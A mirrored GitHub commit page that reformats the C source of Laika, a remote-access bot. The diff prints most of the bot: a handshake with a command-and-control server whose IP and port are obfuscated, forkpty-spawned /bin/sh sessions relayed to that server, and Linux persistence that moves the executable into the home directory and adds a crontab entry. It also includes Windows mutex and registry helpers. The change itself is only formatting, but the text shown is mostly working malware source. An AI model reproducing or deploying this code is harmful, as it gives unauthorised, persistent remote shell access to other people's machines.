1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-21 12:40:04 +00:00

Added .clang-format, formatted codebase

This commit is contained in:
CPunch 2022-06-27 18:57:00 -05:00
parent 1d6ce15b3d
commit 48fa8935c3
46 changed files with 1756 additions and 1242 deletions

28
.clang-format Normal file
View File

@ -0,0 +1,28 @@
---
Language: Cpp
# BasedOnStyle: Mozilla
AccessModifierOffset: -2
AlignAfterOpenBracket: Align
AlignArrayOfStructures: Right
AlignConsecutiveMacros: AcrossEmptyLinesAndComments
AlignConsecutiveAssignments: None
AlignConsecutiveBitFields: None
AlignConsecutiveDeclarations: None
AlignEscapedNewlines: Right
AlignOperands: Align
AlignTrailingComments: true
AllowAllArgumentsOnNextLine: true
AllowShortEnumsOnASingleLine: false
AllowShortFunctionsOnASingleLine: None
AllowShortBlocksOnASingleLine: Never
AllowShortIfStatementsOnASingleLine: Never
AlwaysBreakAfterReturnType: None
BreakBeforeBraces: Mozilla
IndentWidth: 4
ColumnLimit: 100
IncludeBlocks: Regroup
IndentPPDirectives: AfterHash
MacroBlockBegin: "^LAIKA_TRY$"
MacroBlockEnd: "^LAIKA_TRYEND$"
...

View File

@ -3,14 +3,15 @@
#include "laika.h" #include "laika.h"
#include "lpacket.h" #include "lpacket.h"
#include "lsocket.h"
#include "lpeer.h" #include "lpeer.h"
#include "ltask.h"
#include "lpolllist.h" #include "lpolllist.h"
#include "lsocket.h"
#include "lsodium.h" #include "lsodium.h"
#include "ltask.h"
struct sLaika_shell; struct sLaika_shell;
struct sLaika_bot { struct sLaika_bot
{
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES]; uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
struct sLaika_shell *shells[LAIKA_MAX_SHELLS]; struct sLaika_shell *shells[LAIKA_MAX_SHELLS];
struct sLaika_pollList pList; struct sLaika_pollList pList;
@ -23,9 +24,11 @@ struct sLaika_bot {
struct sLaika_bot *laikaB_newBot(void); struct sLaika_bot *laikaB_newBot(void);
void laikaB_freeBot(struct sLaika_bot *bot); void laikaB_freeBot(struct sLaika_bot *bot);
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port); /* can throw a LAIKA_ERROR */ /* can throw a LAIKA_ERROR */
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port);
bool laikaB_poll(struct sLaika_bot *bot); bool laikaB_poll(struct sLaika_bot *bot);
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData); void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick,
void *uData);
#endif #endif

View File

@ -2,11 +2,13 @@
#define LAIKA_SHELL_H #define LAIKA_SHELL_H
#include <stddef.h> #include <stddef.h>
#include <stdbool.h>
#define LAIKA_SHELL_TASK_DELTA 50 #define LAIKA_SHELL_TASK_DELTA 50
struct sLaika_bot; struct sLaika_bot;
struct sLaika_shell { struct sLaika_shell
{
uint32_t id; uint32_t id;
}; };
@ -19,13 +21,15 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
/* handles reading & writing to shell pipes */ /* handles reading & writing to shell pipes */
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell); bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length); bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf,
size_t length);
/* packet handlers */ /* packet handlers */
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData); void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData); void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData); void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData); void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task,
clock_t currTick, void *uData);
#endif #endif

View File

@ -1,32 +1,35 @@
/* platform specific code for achieving persistence on linux */ /* platform specific code for achieving persistence on linux */
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/file.h>
#include <pwd.h>
#include "persist.h"
#include "lconfig.h"
#include "lsocket.h"
#include "lerror.h"
#include "lbox.h" #include "lbox.h"
#include "lconfig.h"
#include "lerror.h"
#include "lmem.h" #include "lmem.h"
#include "lsocket.h"
#include "persist.h"
#include <pwd.h>
#include <sys/file.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
static int laikaB_lockFile; static int laikaB_lockFile;
/* check if laika is running as super-user */ /* check if laika is running as super-user */
bool laikaB_checkRoot() { bool laikaB_checkRoot()
{
return geteuid() == 0; /* user id 0 is reserved for root in 99% of the cases */ return geteuid() == 0; /* user id 0 is reserved for root in 99% of the cases */
} }
/* mark that laika is currently running */ /* mark that laika is currently running */
void laikaB_markRunning() { void laikaB_markRunning()
LAIKA_BOX_SKID_START(char*, filePath, LAIKA_LIN_LOCK_FILE); {
LAIKA_BOX_SKID_START(char *, filePath, LAIKA_LIN_LOCK_FILE);
/* create lock file */ /* create lock file */
if ((laikaB_lockFile = open(filePath, O_RDWR | O_CREAT, 0666)) == -1) if ((laikaB_lockFile = open(filePath, O_RDWR | O_CREAT, 0666)) == -1)
LAIKA_ERROR("Couldn't open file lock '%s'! Another LaikaBot is probably running.\n", filePath); LAIKA_ERROR("Couldn't open file lock '%s'! Another LaikaBot is probably running.\n",
filePath);
/* create lock */ /* create lock */
if (flock(laikaB_lockFile, LOCK_EX | LOCK_NB) != 0) if (flock(laikaB_lockFile, LOCK_EX | LOCK_NB) != 0)
@ -37,7 +40,8 @@ void laikaB_markRunning() {
} }
/* unmark that laika is currently running */ /* unmark that laika is currently running */
void laikaB_unmarkRunning() { void laikaB_unmarkRunning()
{
/* close lock */ /* close lock */
if (flock(laikaB_lockFile, LOCK_UN) != 0) if (flock(laikaB_lockFile, LOCK_UN) != 0)
LAIKA_ERROR("Failed to close file lock!\n"); LAIKA_ERROR("Failed to close file lock!\n");
@ -46,7 +50,8 @@ void laikaB_unmarkRunning() {
LAIKA_DEBUG("file lock removed!\n"); LAIKA_DEBUG("file lock removed!\n");
} }
void getCurrentExe(char *outPath, int pathSz) { void getCurrentExe(char *outPath, int pathSz)
{
int sz; int sz;
/* thanks linux :D */ /* thanks linux :D */
@ -56,7 +61,8 @@ void getCurrentExe(char *outPath, int pathSz) {
outPath[sz] = '\0'; outPath[sz] = '\0';
} }
void getInstallPath(char *outPath, int pathSz) { void getInstallPath(char *outPath, int pathSz)
{
struct stat st; struct stat st;
const char *home; const char *home;
@ -66,8 +72,8 @@ void getInstallPath(char *outPath, int pathSz) {
} }
/* create install directory if it doesn't exist */ /* create install directory if it doesn't exist */
LAIKA_BOX_SKID_START(char*, dirPath, LAIKA_LIN_INSTALL_DIR); LAIKA_BOX_SKID_START(char *, dirPath, LAIKA_LIN_INSTALL_DIR);
LAIKA_BOX_SKID_START(char*, filePath, LAIKA_LIN_INSTALL_FILE); LAIKA_BOX_SKID_START(char *, filePath, LAIKA_LIN_INSTALL_FILE);
snprintf(outPath, pathSz, "%s/%s", home, dirPath); snprintf(outPath, pathSz, "%s/%s", home, dirPath);
if (stat(outPath, &st) == -1) { if (stat(outPath, &st) == -1) {
LAIKA_DEBUG("creating '%s'...\n", outPath); LAIKA_DEBUG("creating '%s'...\n", outPath);
@ -79,7 +85,8 @@ void getInstallPath(char *outPath, int pathSz) {
LAIKA_BOX_SKID_END(filePath); LAIKA_BOX_SKID_END(filePath);
} }
bool checkPersistCron(char *path) { bool checkPersistCron(char *path)
{
char buf[PATH_MAX + 128]; char buf[PATH_MAX + 128];
FILE *fp; FILE *fp;
bool res = false; bool res = false;
@ -99,8 +106,9 @@ bool checkPersistCron(char *path) {
return res; return res;
} }
void tryPersistCron(char *path) { void tryPersistCron(char *path)
LAIKA_BOX_SKID_START(char*, cronCMD, LAIKA_LIN_CRONTAB_ENTRY); {
LAIKA_BOX_SKID_START(char *, cronCMD, LAIKA_LIN_CRONTAB_ENTRY);
char cmd[PATH_MAX + 128]; char cmd[PATH_MAX + 128];
/* should be 'safe enough' */ /* should be 'safe enough' */
@ -115,7 +123,8 @@ void tryPersistCron(char *path) {
} }
/* try to gain persistance on machine */ /* try to gain persistance on machine */
void laikaB_tryPersist() { void laikaB_tryPersist()
{
char exePath[PATH_MAX]; char exePath[PATH_MAX];
char installPath[PATH_MAX]; char installPath[PATH_MAX];
@ -124,7 +133,8 @@ void laikaB_tryPersist() {
getInstallPath(installPath, PATH_MAX); getInstallPath(installPath, PATH_MAX);
/* move exe to install path (if it isn't there already) */ /* move exe to install path (if it isn't there already) */
if (strncmp(exePath, installPath, strnlen(exePath, PATH_MAX)) != 0 && rename(exePath, installPath)) if (strncmp(exePath, installPath, strnlen(exePath, PATH_MAX)) != 0 &&
rename(exePath, installPath))
LAIKA_ERROR("Failed to install '%s' to '%s'!\n", exePath, installPath); LAIKA_ERROR("Failed to install '%s' to '%s'!\n", exePath, installPath);
LAIKA_DEBUG("Successfully installed '%s'!\n", installPath); LAIKA_DEBUG("Successfully installed '%s'!\n", installPath);
@ -139,6 +149,7 @@ void laikaB_tryPersist() {
} }
/* try to gain root */ /* try to gain root */
void laikaB_tryRoot() { void laikaB_tryRoot()
{
/* stubbed */ /* stubbed */
} }

View File

@ -1,29 +1,32 @@
/* platform specific code for opening shells in linux */ /* platform specific code for opening shells in linux */
#include <unistd.h> #include "bot.h"
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <pty.h>
#include "lerror.h" #include "lerror.h"
#include "lmem.h" #include "lmem.h"
#include "ltask.h" #include "ltask.h"
#include "bot.h"
#include "shell.h" #include "shell.h"
#include <pty.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define LAIKA_LINSHELL_PATH "/bin/sh" #define LAIKA_LINSHELL_PATH "/bin/sh"
struct sLaika_RAWshell { struct sLaika_RAWshell
{
struct sLaika_shell _shell; struct sLaika_shell _shell;
int pid; int pid;
int fd; int fd;
}; };
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) { struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
{
struct winsize ws; struct winsize ws;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)laikaM_malloc(sizeof(struct sLaika_RAWshell)); struct sLaika_RAWshell *shell =
(struct sLaika_RAWshell *)laikaM_malloc(sizeof(struct sLaika_RAWshell));
ws.ws_col = cols; ws.ws_col = cols;
ws.ws_row = rows; ws.ws_row = rows;
@ -32,21 +35,22 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
if (shell->pid == 0) { if (shell->pid == 0) {
/* child process, clone & run shell */ /* child process, clone & run shell */
execlp(LAIKA_LINSHELL_PATH, "sh", (char*) NULL); execlp(LAIKA_LINSHELL_PATH, "sh", (char *)NULL);
exit(0); exit(0);
} }
/* make sure our calls to read() & write() do not block */ /* make sure our calls to read() & write() do not block */
if (fcntl(shell->fd, F_SETFL, (fcntl(shell->fd, F_GETFL, 0) | O_NONBLOCK)) != 0) { if (fcntl(shell->fd, F_SETFL, (fcntl(shell->fd, F_GETFL, 0) | O_NONBLOCK)) != 0) {
laikaB_freeShell(bot, (struct sLaika_shell*)shell); laikaB_freeShell(bot, (struct sLaika_shell *)shell);
LAIKA_ERROR("Failed to set shell fd O_NONBLOCK"); LAIKA_ERROR("Failed to set shell fd O_NONBLOCK");
} }
return (struct sLaika_shell*)shell; return (struct sLaika_shell *)shell;
} }
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) { void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell; {
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
/* kill the shell */ /* kill the shell */
kill(shell->pid, SIGTERM); kill(shell->pid, SIGTERM);
@ -57,13 +61,14 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
/* ====================================[[ Shell Handlers ]]===================================== */ /* ====================================[[ Shell Handlers ]]===================================== */
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) { bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)]; {
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t)];
struct sLaika_peer *peer = bot->peer; struct sLaika_peer *peer = bot->peer;
struct sLaika_socket *sock = &peer->sock; struct sLaika_socket *sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell; struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)); int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t));
if (rd > 0) { if (rd > 0) {
/* we read some input! send to cnc */ /* we read some input! send to cnc */
@ -82,10 +87,12 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
return true; return true;
} }
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, size_t length) { bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf,
size_t length)
{
struct sLaika_peer *peer = bot->peer; struct sLaika_peer *peer = bot->peer;
struct sLaika_socket *sock = &peer->sock; struct sLaika_socket *sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell; struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
size_t nLeft; size_t nLeft;
int nWritten; int nWritten;

View File

@ -1,19 +1,23 @@
#include "bot.h"
#include "lbox.h"
#include "lerror.h"
#include "lmem.h" #include "lmem.h"
#include "lsodium.h" #include "lsodium.h"
#include "lerror.h"
#include "lbox.h"
#include "bot.h"
#include "shell.h" #include "shell.h"
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
struct sLaika_bot *bot = (struct sLaika_bot*)uData; {
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
uint8_t endianness = laikaS_readByte(&peer->sock); uint8_t endianness = laikaS_readByte(&peer->sock);
peer->sock.flipEndian = endianness != laikaS_isBigEndian(); peer->sock.flipEndian = endianness != laikaS_isBigEndian();
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", (endianness ? "TRUE" : "FALSE")); LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n",
(endianness ? "TRUE" : "FALSE"));
} }
void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
LAIKA_DEBUG("got ping from cnc!\n"); LAIKA_DEBUG("got ping from cnc!\n");
/* stubbed */ /* stubbed */
} }
@ -48,17 +52,19 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
/* clang-format on */ /* clang-format on */
/* socket event */ /* socket event */
void laikaB_onPollFail(struct sLaika_socket *sock, void *uData) { void laikaB_onPollFail(struct sLaika_socket *sock, void *uData)
struct sLaika_peer *peer = (struct sLaika_peer*)sock; {
struct sLaika_bot *bot = (struct sLaika_bot*)uData; struct sLaika_peer *peer = (struct sLaika_peer *)sock;
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
laikaS_kill(&bot->peer->sock); laikaS_kill(&bot->peer->sock);
} }
/* ==========================================[[ Bot ]]========================================== */ /* ==========================================[[ Bot ]]========================================== */
struct sLaika_bot *laikaB_newBot(void) { struct sLaika_bot *laikaB_newBot(void)
LAIKA_BOX_SKID_START(char*, cncPubKey, LAIKA_PUBKEY); {
LAIKA_BOX_SKID_START(char *, cncPubKey, LAIKA_PUBKEY);
struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot)); struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
struct hostent *host; struct hostent *host;
char *tempINBuf; char *tempINBuf;
@ -66,16 +72,11 @@ struct sLaika_bot *laikaB_newBot(void) {
int i; int i;
laikaP_initPList(&bot->pList); laikaP_initPList(&bot->pList);
bot->peer = laikaS_newPeer( bot->peer =
laikaB_pktTbl, laikaS_newPeer(laikaB_pktTbl, &bot->pList, laikaB_onPollFail, (void *)bot, (void *)bot);
&bot->pList,
laikaB_onPollFail,
(void*)bot,
(void*)bot
);
laikaT_initTaskService(&bot->tService); laikaT_initTaskService(&bot->tService);
laikaT_newTask(&bot->tService, 5000, laikaB_pingTask, (void*)bot); laikaT_newTask(&bot->tService, 5000, laikaB_pingTask, (void *)bot);
/* init shells */ /* init shells */
for (i = 0; i < LAIKA_MAX_SHELLS; i++) { for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
@ -112,7 +113,7 @@ struct sLaika_bot *laikaB_newBot(void) {
LAIKA_ERROR("gethostbyname() failed!\n"); LAIKA_ERROR("gethostbyname() failed!\n");
} }
if ((tempINBuf = inet_ntoa(*((struct in_addr*)host->h_addr_list[0]))) == NULL) { if ((tempINBuf = inet_ntoa(*((struct in_addr *)host->h_addr_list[0]))) == NULL) {
laikaB_freeBot(bot); laikaB_freeBot(bot);
LAIKA_ERROR("inet_ntoa() failed!\n"); LAIKA_ERROR("inet_ntoa() failed!\n");
} }
@ -123,7 +124,8 @@ struct sLaika_bot *laikaB_newBot(void) {
return bot; return bot;
} }
void laikaB_freeBot(struct sLaika_bot *bot) { void laikaB_freeBot(struct sLaika_bot *bot)
{
int i; int i;
/* clear shells */ /* clear shells */
@ -138,7 +140,8 @@ void laikaB_freeBot(struct sLaika_bot *bot) {
laikaM_free(bot); laikaM_free(bot);
} }
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) { void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port)
{
struct sLaika_socket *sock = &bot->peer->sock; struct sLaika_socket *sock = &bot->peer->sock;
/* setup socket */ /* setup socket */
@ -153,17 +156,23 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
laikaS_writeByte(sock, LAIKA_VERSION_MAJOR); laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
laikaS_writeByte(sock, LAIKA_VERSION_MINOR); laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
laikaS_writeByte(sock, LAIKA_OSTYPE); laikaS_writeByte(sock, LAIKA_OSTYPE);
laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */
/* write public key */
laikaS_write(sock, bot->pub, sizeof(bot->pub));
laikaS_write(sock, bot->peer->hostname, LAIKA_HOSTNAME_LEN); laikaS_write(sock, bot->peer->hostname, LAIKA_HOSTNAME_LEN);
laikaS_write(sock, bot->peer->inet, LAIKA_INET_LEN); laikaS_write(sock, bot->peer->inet, LAIKA_INET_LEN);
laikaS_endOutPacket(bot->peer); laikaS_endOutPacket(bot->peer);
laikaS_setSecure(bot->peer, true); /* after the cnc receives our handshake, our packets will be encrypted */
if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv, bot->peer->peerPub) != 0) /* after the cnc receives our handshake, our packets will be encrypted */
laikaS_setSecure(bot->peer, true);
if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv,
bot->peer->peerPub) != 0)
LAIKA_ERROR("failed to gen session key!\n"); LAIKA_ERROR("failed to gen session key!\n");
} }
bool laikaB_poll(struct sLaika_bot *bot) { bool laikaB_poll(struct sLaika_bot *bot)
{
struct sLaika_pollEvent *evnt; struct sLaika_pollEvent *evnt;
int numEvents; int numEvents;
@ -184,8 +193,10 @@ bool laikaB_poll(struct sLaika_bot *bot) {
return true; return true;
} }
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) { void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick,
struct sLaika_bot *bot = (struct sLaika_bot*)uData; void *uData)
{
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
laikaS_emptyOutPacket(bot->peer, LAIKAPKT_PINGPONG); laikaS_emptyOutPacket(bot->peer, LAIKAPKT_PINGPONG);
} }

View File

@ -1,26 +1,31 @@
#include <stdio.h> #include "bot.h"
#include "lbox.h" #include "lbox.h"
#include "lconfig.h" #include "lconfig.h"
#include "lerror.h" #include "lerror.h"
#include "ltask.h" #include "ltask.h"
#include "bot.h"
#include "shell.h"
#include "persist.h" #include "persist.h"
#include "shell.h"
#include <stdio.h>
#ifdef _WIN32 #ifdef _WIN32
# ifndef DEBUG #ifndef DEBUG
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow) { int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
# else {
int main() {
# endif
#else #else
int main() { int main()
{
#endif #endif
/* these boxes are really easy to dump, they're unlocked at the very start of execution and left in memory the entire time. #else
not only that but they're only obfuscating the ip & port, both are things anyone would see from opening wireshark */ int main()
LAIKA_BOX_SKID_START(char*, cncIP, LAIKA_CNC_IP); {
LAIKA_BOX_SKID_START(char*, cncPORT, LAIKA_CNC_PORT); #endif
/* these boxes are really easy to dump, they're unlocked at the very start of execution and left
in memory the entire time.
not only that but they're only obfuscating the ip & port, both are things anyone would see
from opening wireshark */
LAIKA_BOX_SKID_START(char *, cncIP, LAIKA_CNC_IP);
LAIKA_BOX_SKID_START(char *, cncPORT, LAIKA_CNC_PORT);
struct sLaika_bot *bot; struct sLaika_bot *bot;
#ifdef LAIKA_PERSISTENCE #ifdef LAIKA_PERSISTENCE

View File

@ -1,24 +1,28 @@
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include "lerror.h"
#include "lmem.h"
#include "bot.h"
#include "shell.h" #include "shell.h"
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) { #include "bot.h"
#include "lerror.h"
#include "lmem.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
{
if (bot->activeShells++ > LAIKA_MAX_SHELLS) if (bot->activeShells++ > LAIKA_MAX_SHELLS)
LAIKA_ERROR("Failed to allocate new shell, max shells reached!\n"); LAIKA_ERROR("Failed to allocate new shell, max shells reached!\n");
/* start shell task */ /* start shell task */
if (!bot->shellTask) if (!bot->shellTask)
bot->shellTask = laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void*)bot); bot->shellTask =
laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void *)bot);
return bot->shells[id] = laikaB_newRAWShell(bot, cols, rows, id); return bot->shells[id] = laikaB_newRAWShell(bot, cols, rows, id);
} }
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell)
{
uint32_t id = shell->id; uint32_t id = shell->id;
/* tell cnc shell is closed */ /* tell cnc shell is closed */
@ -39,8 +43,9 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
/* ====================================[[ Packet Handlers ]]==================================== */ /* ====================================[[ Packet Handlers ]]==================================== */
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
struct sLaika_bot *bot = (struct sLaika_bot*)uData; {
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
struct sLaika_shell *shell; struct sLaika_shell *shell;
uint32_t id; uint32_t id;
uint16_t cols, rows; uint16_t cols, rows;
@ -61,8 +66,9 @@ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
} }
} }
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
struct sLaika_bot *bot = (struct sLaika_bot*)uData; {
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
struct sLaika_shell *shell; struct sLaika_shell *shell;
uint32_t id; uint32_t id;
@ -76,31 +82,34 @@ void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
laikaB_freeShell(bot, shell); laikaB_freeShell(bot, shell);
} }
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
char buf[LAIKA_SHELL_DATA_MAX_LENGTH]; char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
struct sLaika_bot *bot = (struct sLaika_bot*)uData; struct sLaika_bot *bot = (struct sLaika_bot *)uData;
struct sLaika_shell *shell; struct sLaika_shell *shell;
uint32_t id; uint32_t id;
/* read data buf */ /* read data buf */
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
laikaS_read(&peer->sock, buf, sz-sizeof(uint32_t)); laikaS_read(&peer->sock, buf, sz - sizeof(uint32_t));
/* sanity check shell */ /* sanity check shell */
if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id])) if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id]))
LAIKA_ERROR("LAIKAPKT_SHELL_DATA requested on unopened shell!\n"); LAIKA_ERROR("LAIKAPKT_SHELL_DATA requested on unopened shell!\n");
/* write to shell */ /* write to shell */
laikaB_writeShell(bot, shell, buf, sz-sizeof(uint32_t)); laikaB_writeShell(bot, shell, buf, sz - sizeof(uint32_t));
} }
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) { void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task,
struct sLaika_bot *bot = (struct sLaika_bot*)uData; clock_t currTick, void *uData)
{
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
struct sLaika_shell *shell; struct sLaika_shell *shell;
int i; int i;
for (i = 0; i < LAIKA_MAX_SHELLS; i++) { for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
if ((shell = bot->shells[i])) if ((shell = bot->shells[i]))
laikaB_readShell(bot, shell); laikaB_readShell(bot, shell);
} }
} }

View File

@ -1,28 +1,30 @@
/* platform specific code for achieving persistence on windows (FORCES ASCII) */ /* platform specific code for achieving persistence on windows (FORCES ASCII) */
#include <windows.h>
#include <shlobj.h> #include <shlobj.h>
#include <shlwapi.h> #include <shlwapi.h>
#include <windows.h>
#pragma comment(lib, "Shlwapi.lib") #pragma comment(lib, "Shlwapi.lib")
#include "persist.h"
#include "lconfig.h"
#include "lmem.h"
#include "lerror.h"
#include "lvm.h"
#include "lbox.h" #include "lbox.h"
#include "lconfig.h"
#include "lerror.h"
#include "lmem.h"
#include "lvm.h"
#include "persist.h"
HANDLE laikaB_mutex; HANDLE laikaB_mutex;
/* check if laika is running as super-user */ /* check if laika is running as super-user */
bool laikaB_checkRoot() { bool laikaB_checkRoot()
{
return true; /* stubbed for now */ return true; /* stubbed for now */
} }
/* mark that laika is currently running */ /* mark that laika is currently running */
void laikaB_markRunning() { void laikaB_markRunning()
LAIKA_BOX_SKID_START(char*, mutex, LAIKA_WIN_MUTEX); {
LAIKA_BOX_SKID_START(char *, mutex, LAIKA_WIN_MUTEX);
laikaB_mutex = OpenMutexA(MUTEX_ALL_ACCESS, false, mutex); laikaB_mutex = OpenMutexA(MUTEX_ALL_ACCESS, false, mutex);
@ -37,11 +39,13 @@ void laikaB_markRunning() {
} }
/* unmark that laika is currently running */ /* unmark that laika is currently running */
void laikaB_unmarkRunning() { void laikaB_unmarkRunning()
{
ReleaseMutex(laikaB_mutex); ReleaseMutex(laikaB_mutex);
} }
HKEY openReg(HKEY key, LPCSTR subKey) { HKEY openReg(HKEY key, LPCSTR subKey)
{
HKEY hKey; HKEY hKey;
if (RegOpenKeyExA(key, subKey, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS) if (RegOpenKeyExA(key, subKey, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
@ -51,7 +55,8 @@ HKEY openReg(HKEY key, LPCSTR subKey) {
} }
/* returns raw string value from registry */ /* returns raw string value from registry */
LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz) { LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz)
{
LPSTR str = NULL; LPSTR str = NULL;
DWORD ret; DWORD ret;
@ -69,14 +74,16 @@ LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz) {
return str; return str;
} }
